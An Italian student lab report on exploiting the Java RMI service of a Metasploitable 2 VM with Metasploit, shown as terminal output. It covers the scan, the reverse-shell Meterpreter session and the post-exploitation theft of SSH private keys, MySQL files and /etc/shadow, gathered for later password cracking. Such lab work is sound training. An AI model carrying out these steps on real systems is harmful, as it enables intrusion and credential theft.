

METASPLOIT – PROGETTO

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla **porta 1099** – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante KALI deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima Metasploitable deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1. configurazione di rete
 - 2. informazioni sulla tabella di routing della macchina vittima
 - 3. altro...

Esecuzione:

Effettuo il cambio degli indirizzi IP nelle macchine come da richiesto dalla traccia.

Kali Linux

```
kali@kali: ~
File Actions Edit View Help
 -(kali⊕kali)-[~]
-$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
       inet6 fe80::a00:27ff:fe93:d571 prefixlen 64 scopeid 0×20<link>
       ether 08:00:27:93:d5:71 txqueuelen 1000 (Ethernet)
       RX packets 54 bytes 5296 (5.1 KiB)
       RX errors 0 dropped 0 overruns 0
                                          frame 0
       TX packets 24 bytes 3066 (2.9 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       inet6 :: 1 prefixlen 128 scopeid 0×10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 4 bytes 240 (240.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 4 bytes 240 (240.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  -(kali⊕kali)-[~]
```



Metasploitable

```
Metasploitable 2 [In esecuzione] - Oracle VM VirtualBox
                                                                                                       П
     Macchina Visualizza Inserimento Dispositivi
nsfadmin@metasploitable:~$ ifconfig
             Link encap:Ethernet HWaddr 08:00:27:5f:cd:d8
inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe5f:cdd8/64 Scope:Link
             UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6 errors:0 dropped:0 overruns:0 frame:0
              TX packets:59 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000
              RX bytes:536 (536.0 B) TX bytes:5010 (4.8 KB)
Base address:0xd020 Memory:f0200000-f0220000
              Link encap:Local Loopback
lo
              inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
             UP LOOPBACK RUNNING MTU: 16436 Metric: 1
             RX packets:117 errors:0 dropped:0 overruns:0 frame:0
TX packets:117 errors:0 dropped:0 overruns:0 carrier:0
              sfadmin@metasploitable:~$ _
```

Verifico con il comando nmap le porte aperte sulla macchina target Metasploitable.

```
(kali⊕kali)-[~]
 -$ <u>sudo</u> nmap -sV 192.168.11.112
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 06:22 EST
Nmap scan report for 192.168.11.112
Host is up (0.00012s latency).
Not shown: 979 closed tcp ports (reset)
         STATE SERVICE
PORT
                             VERSTON
21/tcp
         open ftp
23/tcp
25/tcp
                             Postfix smtpd
         open
                             ISC BIND 9.4.2
53/tcp
         open
                domain
80/tcp
                             Apache httpd 2.2.8 ((Ubuntu) DAV/2)
         open
111/tcp
                rpcbind
                            2 (RPC #100000)
         open
                netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
         open
445/tcp
         open
512/tcp
                             netkit-rsh rexecd
513/tcp
         open
514/tcp
                shell
                             Netkit rshd
        open
                             GNU Classpath grmiregistry
OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
1099/tcp open
1524/tcp open
2049/tcp open
                             2-4 (RPC #100003)
                             ProFTPD 1.3.1
2121/tcp open
                ftp
3306/tcp open
                             MvSOL 5.0.51a-3ubuntu5
                mysql
5432/tcp open
                postgresql PostgreSQL DB 8.3.0 - 8.3.7
                             VNC (protocol 3.3)
5900/tcp open
6000/tcp open
                             (access denied)
6667/tcp open
                             UnrealIRCd
8180/tcp open http
MAC Address: 08:00:27:5F:CD:D8 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:li
nux kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.70 seconds
```

Eseguendo questo comando, verifico la versione della porta e il servizio presente nella porta 1099, essere un servizio **Java-RMI.** Provo a eseguire un exploit con il tool **Metasploit.**



Avvio una shell nella macchina attaccante Kali-Linux ed eseguo il comando **msfconsole.** Una volta avviata la macchina, eseguo il seguente comando:

search java-rmi

Dalla ricerca troviamo il modulo exploit che fa al caso essere il seguente:

```
1 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecur e Default Configuration Java Code Execution
```

Utilizzo il comando **use** seguito dal path del modulo interessato. Una volta dentro, utilizzo il comando **show options** per vedere i parametri obbligatori, in questo caso solo **RHOSTS**, che verrà impostato con **set RHOSTS 192.168.11.112** (Indirizzo IP della macchina target). Inoltre verifico che il payload utilizzato sia uno dei **Meterpreter**, così da poter avere una shell in caso riesco a collegarmi con successo alla macchina target.

```
<u>msf6</u> > use Interrupt: use the 'exit' command to quit
<u>msf6</u> > use exploit/multi/misc/java_rmi_server
                                                                    2011-10-15
                                                                                       excellent Yes
                                                                                                            Java RMI Server Insecure Default Con
figuration Java Code Execution
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
                Current Setting Required Description
   HTTPDELAY
                                               Time that the HTTP Server will wait for the payload request
                                               The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
   RPORT
                1099
                                               The local host or network interface to listen on. This must be an address on the local
                0.0.0.0
                                               machine or 0.0.0.0 to listen on all addresses.
   SRVPORT
                                               The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly generated)
                8080
   SSLCert
   URIPATH
                                               The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
                                          The listen address (an interface may be specified)
   LPORT 4444
                                          The listen port
Exploit target:
       Generic (Java Payload)
```

Imposto RHOSTS con set RHOSTS 192.168.11.112.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS ⇒ 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options
```



Una volta verificato che tutto sia configurato correttamente, lancio il comando exploit.

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444

[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/ovj8DDi1pAu

[*] 192.168.11.112:1099 - Server started.

[*] 192.168.11.112:1099 - Sending RMI Header...

[*] 192.168.11.112:1099 - Sending RMI Call...

[*] 192.168.11.112:1099 - Replied to request for payload JAR

[*] Sending stage (57971 bytes) to 192.168.11.112

[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:46827) at 2024-02-24 06:27:25 -0500

meterpreter > ■
```

L'attacco è andato a buon fine, in quanto tutti i passaggi sono eseguiti correttamente e si è avviata una sessione di Meterpreter con shell.

Da qui prelevo i dati della macchina, configurazioni di rete e altri eventuali file che possono tornarmi utili al fine di un attacco futuro o per poter poi eventualmente effettuare degli spostamenti. Per semplicità, faccio un elenco dei dati prelevati:

 Eseguendo il comando sysinfo ottengo info sul sistema attaccato, ifconfig per vedere le impostazioni di rete e routes per verificare gli altri indirizzi presenti.

```
kali@kali: ~
File Actions Edit View Help
[*] Meterpreter session 1 opened (192.168.11.111:4444 \rightarrow 192.168.11.112:46827) at 2024-02-24 06:27:25 -0500
meterpreter > sysinfo
Architecture
                 : x86
System Language : en_US
Meterpreter
                 : java/linux
meterpreter > ifconfig
Interface 1
             : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address :
IPv6 Netmask :
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Netmask : ::
meterpreter > route
IPv4 network routes
                                     Gateway Metric Interface
    127.0.0.1
                                     0.0.0.0
    192.168.11.112 255.255.255.0 0.0.0.0
IPv6 network routes
```



- Eseguo un **pwd** per vedere il percorso in cui sono ed il comando **Is** per vederne il contenuto al suo interno. Questo mi permette di vedere e girare per tutte le cartelle del sistema.

```
neterpreter > pwd
meterpreter > ls
Listing: /
                           Type Last modified
                                                             Name
040666/rw-rw-rw-
                  4096
                                 2012-05-13 23:35:33 -0400
                                 2012-05-13 23:36:28 -0400
040666/rw-rw-rw-
                                                             boot
                                 2010-03-16 18:55:51 -0400
040666/rw-rw-rw-
                  4096
                                                             cdrom
040666/rw-rw-rw-
                                 2024-02-24 06:15:11 -0500
                                                             dev
040666/rw-rw-rw-
                                 2024-02-24 06:15:15 -0500
040666/rw-rw-rw-
                                 2010-04-16 02:16:02 -0400
                                                             home
040666/rw-rw-rw-
                  4096
                                 2010-03-16 18:57:40 -0400
                                                             initrd
100666/rw-rw-rw-
                                 2012-05-13 23:35:56 -0400
                  7929183
                                                              initrd.img
040666/rw-rw-rw-
                  4096
                                 2012-05-13 23:35:22 -0400
040666/rw-rw-rw-
                                  2010-03-16 18:55:15 -0400
                                                              lost+found
                                 2010-03-16 18:55:52 -0400
040666/rw-rw-rw-
                                                             media
                                 2010-04-28 16:16:56 -0400
040666/rw-rw-rw-
                  4096
100666/rw-rw-rw-
                                 2024-02-24 06:15:36 -0500
                  52686
                                                             nohup.out
                                 2010-03-16 18:57:39 -0400
040666/rw-rw-rw-
                  4096
040666/rw-rw-rw-
                                 2024-02-24 06:15:01 -0500
                                                             proc
040666/rw-rw-rw-
                                 2024-02-24 06:15:36 -0500
                           dir
                                                             root
040666/rw-rw-rw-
                  4096
                                 2012-05-13 21:54:53 -0400
                                 2010-03-16 18:57:38 -0400
040666/rw-rw-rw-
                  4096
                                                             srv
                                 2024-02-24 06:15:02 -0500
040666/rw-rw-rw-
                                  2024-02-18 15:31:39 -0500
                  4096
040666/rw-rw-rw-
                                                              test_metasploit
040666/rw-rw-rw-
                  4096
                                  2024-02-24 06:27:15 -0500
                                                              tmp
                                  2010-04-28 00:06:37 -0400
040666/rw-rw-rw-
                  4096
040666/rw-rw-rw-
                  4096
                           dir
                                  2010-03-17 10:08:23 -0400
100666/rw-rw-rw-
                  1987288
                                  2008-04-10 12:55:41 -0400
                                                             vmlinuz
```

- Entrato in /home/msfadmin con il comando **cd**, trovo la cartella **.ssh** ed al suo interno le chiavi pubbliche e private. Per scaricarle sulla macchina attaccante Kali, uso il comando **download**.

```
meterpreter > cd .ssh
<u>meterpreter</u> > ls
Listing: /home/msfadmin/.ssh
Mode
                             Туре
                                    Last modified
                      Size
                                                                     Name
100666/rw-rw-rw-
                     609
                             fil
                                    2010-05-07 14:38:35 -0400
                                                                     authorized_keys
                            fil
                     1675
                                    2010-05-17 21:43:18 -0400
100666/rw-rw-rw-
                                                                    id_rsa
100666/rw-rw-rw-
                     405
                             fil
                                    2010-05-17 21:43:18 -0400
                                                                    id rsa.pub
meterpreter > download .ssh
[-] stdapi_fs_stat: Operation failed: 1
meterpreter > cd ..
meterpreter > download .ssh
[*] downloading: .ssh/authorized_keys → /home/kali/.ssh/authorized_keys
[*] Completed : .ssh/authorized_keys → /home/kali/.ssh/authorized_keys
[*] downloading: .ssh/id_rsa → /home/kali/.ssh/id_rsa
[*] Completed : .ssh/id_rsa → /home/kali/.ssh/id_rsa
[*] downloading: .ssh/id_rsa.pub → /home/kali/.ssh/id_rsa.pub
[*] Completed : .ssh/id_rsa.pub → /home/kali/.ssh/id_rsa.pub
meterpreter >
```









Provo anche a scaricare il file services che mi permette di capire i servizi presenti all'interno della macchina e quali si avviano una volta eseguita la macchina. Utilizzo il comando download anche questa volta. Tale file se presenta voci come "mysql" oppure "apache2" ci fa dedurre che sia un possibile server e che dietro via sia un DB.

```
# Local services

meterpreter > download services /home/kali/Desktop/Metasploit_files/services

[*] Downloading: services → /home/kali/Desktop/Metasploit_files/services

[*] Downloaded 17.85 KiB of 17.85 KiB (100.0%): services → /home/kali/Desktop/Metasploit_files/services

[*] Completed : services → /home/kali/Desktop/Metasploit_files/services

meterpreter > ls

Listing: /etc
```



Successivamente andando su /var/lib/ trovo la cartella mysql e ne prelevo tutti i DB possibili.

```
[*] downloading: mysql/tikiwiki/tiki_images.frm → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki
[*] Completed : mysql/tikiwiki/tiki_images.frm → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_blog_posts.frm
[*] Completed : mysql/tikiwiki/tiki_blog_posts.frm → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_blog_posts.frm
[*] Completed : mysql/tikiwiki/tiki_user_answers.MYI → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_user_answers.MYI
[*] Completed : mysql/tikiwiki/tiki_categories.MYD → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_user_answers.MYI
[*] Completed : mysql/tikiwiki/tiki_categories.MYD → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_categories.MYD
[*] Completed : mysql/tikiwiki/tiki_structures.frm → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_categories.MYD
[*] Completed : mysql/tikiwiki/tiki_structures.frm → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_structures.frm
[*] Completed : mysql/tikiwiki/tiki_hotwords.MYD → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_totwords.MYD
[*] Completed : mysql/tikiwiki/galaxia_workitems.MYD → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_hotwords.MYD
[*] Completed : mysql/tikiwiki/galaxia_workitems.MYD → /home/kali/Desktop/Metasploit_file/tikiwiki/galaxia_workitems.MYD
[*] Completed : mysql/tikiwiki/galaxia_workitems.MYD → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_shets.MYD
[*] Completed : mysql/tikiwiki/tiki_shets.MYD → /home/kali/Desktop/Metasploit_file/tikiwiki/tiki_shets.frm
[*] Completed : my
```



- Un'altre vulnerabilità o file riscontrato è quello **shadow**. Prelevando questo file presente nel percorso /etc, posso effettuare un tentativo di password cracking con il tool **John The Ripper** successivamente.

```
40666/rw-rw-rw-
100666/rw-rw-rw-
                                      2010-03-16 19:01:21 -0400
040666/rw-rw-rw-
                                      2024-02-24 06:15:48 -0500
                                                                       tomcat5.5
100666/rw-rw-rw-
                                      2008-02-21 02:22:25 -0500
                                                                       ucf.conf
040666/rw-rw-rw-
                                      2010-03-16 19:01:06 -0400
040666/rw-rw-rw-
                                      2010-03-16 19:11:47 -0400
                                                                       ufw
                                      2012-05-20 14:17:22 -0400
040666/rw-rw-rw-
                                                                       unreal
040666/rw-rw-rw-
                                      2010-03-16 19:11:47 -0400
                                                                       update-manager
100666/rw-rw-rw-
                                      2008-03-08 13:22:28 -0500
                                                                       updatedb.conf
040666/rw-rw-rw-
                                      2010-03-16 19:00:56 -0400
                                      2012-05-20 14:19:56 -0400
100666/rw-rw-rw-
                                                                       vsftpd.conf
040666/rw-rw-rw-
                                      2010-03-16 19:11:47 -0400
                     4096
                                                                       w3m
100666/rw-rw-rw-
                                      2007-06-18 05:45:31 -0400
040666/rw-rw-rw-
                                      2010-03-16 19:01:03 -0400
                                                                       wpa_supplicant
                     4096
100666/rw-rw-rw-
                                      2012-05-20 14:14:31 -0400
                                                                       xinetd.conf
040666/rw-rw-rw-
                                      2012-05-20 14:17:47 -0400
                                                                       xinetd.d
                     4096
                                      2008-04-03 15:33:03 -0400
100666/rw-rw-rw-
                                                                      zsh_command_not_found
meterpreter > download shadow /home/kali/Desktop/Metasploit_files
[*] Downloading: shadow → /home/kali/Desktop/Metasploit_files/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): shadow → /home/kali/Des
   Downloaded 1.18 KiB of 1.18 KiB (100.0%): shadow → /home/kali/Desktop/Metasploit_files/shadow Completed : shadow → /home/kali/Desktop/Metasploit_files/shadow
 eterpreter >
```

